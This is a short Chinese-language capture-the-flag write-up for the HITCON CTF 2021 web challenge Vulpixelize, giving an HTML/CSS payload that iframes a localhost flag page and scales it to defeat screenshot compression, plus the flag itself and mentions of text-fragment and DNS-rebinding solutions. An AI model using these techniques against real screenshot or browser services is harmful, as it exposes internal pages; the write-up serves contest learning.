Featured image of post HITCON CTF 2021 Writeups

HITCON CTF 2021 Writeups

Goburin’ 在 HITCON CTF 2021 拿到 Rk.10、Taiwan Rk.2。

Web

Vulpixelize

Source Code: https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2021/Vulpixelize

這題可以存取一個 URL,透過瀏覽器截圖回傳結果,但截圖會被壓縮成 64x64 的大小,無法清楚辨識文字。

這題有許多 unintended solution,我是透過 iframe + css transform 將 flag 分成很多部分擷取。

flag

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<style>
h1 {
    font-size: 800px;
    font-size: 0px;
}
iframe {
    position: fixed;
    width: 100vw;
    height: 100vh;
    transform: scale(20) translate(-25%, 18%);
}
/* hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4} */
</style>
<body>
<h1>owo</h1>
<iframe src='http://localhost:8000/flag'></iframe>
</body>

intended solution 是透過 text fragments 去 leak flag。

https://web.dev/text-fragments/ text fragments example

在 discord 上有看到有趣的 DNS Rebinding 解。 透過 DNS Rebinding 繞過 CORS,直接取得 flag。 (127.0.0.1 好像不能用,用 0.0.0.0 就可以)

Built with Hugo
Theme Stack designed by Jimmy